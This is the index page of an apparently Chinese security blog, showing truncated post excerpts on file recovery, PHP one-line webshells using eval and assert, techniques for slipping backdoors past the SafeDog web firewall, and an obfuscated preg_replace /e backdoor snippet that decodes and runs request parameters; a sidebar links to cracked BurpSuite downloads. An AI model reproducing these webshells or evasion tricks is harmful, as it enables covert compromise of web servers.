2016-12-1
14117
0
linux中rm -rf xxx后一秒發現刪除文件，那一刻是崩潰的，別問我今天經歷了寫什么，就是搞事情！！！
一般linux中可用的恢復軟件是不多的，一開始我試了testdisk，但是苦于文件格式是xfs的，竟然不支持。
下載地址：http://www.cgsecurity.org/wiki/TestDisk_Download
然后想到vmware應該有單獨的工具…繼續閱讀 » 
2016-11-22
14975
2
eval與assert都算是元老級一句話后門函數，其實很多情形下代碼的執行還是需要依靠eval去執行，只是前鋒路轉了而已。
eval與assert函數的用法大家可以自行百度。
eval與assert區別
eval函數中參數是字符，如：
eval('echo 1;');
assert函數中參數為表達式 （或者為函數），如：
assert(phpinfo())
assert(eval('ec…繼續閱讀 » 
2016-11-20
8606
0
聲明：
本文由博主首發于：阿里先知?https://xianzhi.aliyun.com/forum/read/441.html
如需要轉載，請先聯系先知技術社區授權；未經授權請勿轉載。
上一篇：php一句話后門過狗姿勢萬千之理論篇【一】
第二章節主要帶給大家一些后門構造思路，與安全狗文件特征檢測的機制。
另外強調一下，這篇文章需…繼續閱讀 » 
2016-11-20
5998
2
聲明：
本文由博主首發于：阿里先知?https://xianzhi.aliyun.com/forum/read/442.html
如需要轉載，請先聯系先知技術社區授權；未經授權請勿轉載。
先知技術社區投稿郵箱：Aliyun_xianzhi#service.alibaba.com
既然木馬已就緒，那么想要利用木馬，必然有一個數據傳輸的過程，數據提交是必須的，數據返回…繼續閱讀 » 
2016-11-18
6186
3
聲明：
本文由博主首發于：阿里先知?https://xianzhi.aliyun.com/forum/read/441.html
如需要轉載，請先聯系先知技術社區授權；未經授權請勿轉載。
寫在前面：
過狗相關的資料網上也是有很多，所以在我接下來的文章中，可能觀點或者舉例可能會與網上部分雷同，或者表述不夠全面。
但是我只能說，我…繼續閱讀 » 
2016-11-13
2829
0
雙十一，沒什么好說的，對這個具有中國現代主義特色的節日，可以總結為三個字，買買買。
對于雙十一的商業與經濟角度，不再做評價，知乎上的回答更有深度。
畢竟我只是一個平民，討論那些個經濟事態，國際化雙十一，跟我有個什么卵關系（馬云爸爸曾經也說過類似的大實話）
那么作為I…繼續閱讀 » 
2016-11-12
37376
10
最近研究過狗一句話有點走火入魔，目前研究了幾個版本的一句話，效果都還不錯。
授之于魚不如授之以漁，過幾天準備從理論層，代碼層，傳輸層寫個過狗連載教程。
目前我使用的是cknife軟件，類似于菜刀的開源軟件，雖然還有不少bug，但高度自由修改，不用擔心后門。我之所以沒有用菜刀，…繼續閱讀 » 
2016-11-8
17079
19
今天偶然在土司看到一篇關于php后門的問題，讓我聯想到以前遇到過的一個一句話，共同點都是利用preg_replace中/e 修正符使replacement 參數當作 PHP 代碼來執行。
先來看下原版代碼
<?php
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['_exit']);
$arr = array($Base($_POST['mcontent']) => '|.*|e',);
@array_walk($arr, $_cla…繼續閱讀 » 
2016-11-5
57394
136
很多時候，在進行內網維護的時候我們同時需要使用外網，但是當外網與內網同時使用的時候，除非程序已經建立穩定連接，否則新的網絡連接肯定會不如愿，比如當你ping一個ip的時候到底走的哪個網卡呢？
這時候就需要一個軟件來分配網卡，而這個工具我幾年前在學校的時候經常用，卻沒想到現在…繼續閱讀 » 
2016-11-3
23984
7
今天體驗了把win10子系統的ubuntu系統，感覺還不錯，安裝與使用教程就不用多提了，網上有一大把總體比較簡單。
但是就在讓我初始化用戶的時候我手賤輸了一個非root用戶，導致沒法切換root用戶，百度了下網上也沒有相關的討論。
索性直接來硬的嘍，
修改shadow文件
既然linux是windows的…繼續閱讀 » 
生活累，一小半源于生存，一大半源于攀比。
與我聯系：戳這里>>
- 熱評文章
- 隨機文章
- 最近更新
- 最新文章
2016-10-5
BurpSuite 1.7.11破解版下載【附多/新版本下載】
2016-11-5
Connectify Dispatch指定程序使用指定網卡[運維神器]
2014-3-25
網站備案流程_網站備案需要什么[簡單明了解決備案各種問題]
2018-2-3
最新BurpSuite 1.7.32 破解版[注冊機]下載【無后門版】
2015-9-14
特殊方法破解win7系統開機密碼【不借用任何工具】
2014-7-10
騰訊游戲的成功不是山寨出來的
(1).png "現在QQ盜號越來越高級了！你中招了嗎？")
2013-12-24
現在QQ盜號越來越高級了！你中招了嗎？
2016-10-24
Linux系統下的HDD Rootkit分析 - 騰訊電腦管家
2016-10-24
chrome 33中修復了4個Pwn2Own大會上發現的漏洞 - news
2016-10-24
Mysql Trigger - darksn0w
7kbStorm's Blog
最新評論
seven[email protected] 感謝！！
xiaochuan我也遇到這樣的情況，你點開burpsuite_pro_v1.7.32.jar 這個文件，他首先會彈出一個提示，大致內容是你安裝的java版本和burpsuite 不兼容，然后說的是你的jdk…
miacsdn 上看文字，右側欄會左移 覆蓋掉文章掉小半邊，博主電腦有遇到過嗎？
1zend opcache 是否可以逆向PHP代碼
果果凍你好，最近需要實現Just-In-Time / Bind Code Reuse attacks這類攻擊，看了一些文章還是沒有思路，有幸看到您這篇關于ROP attack的文章，寫得很好，但對于我這…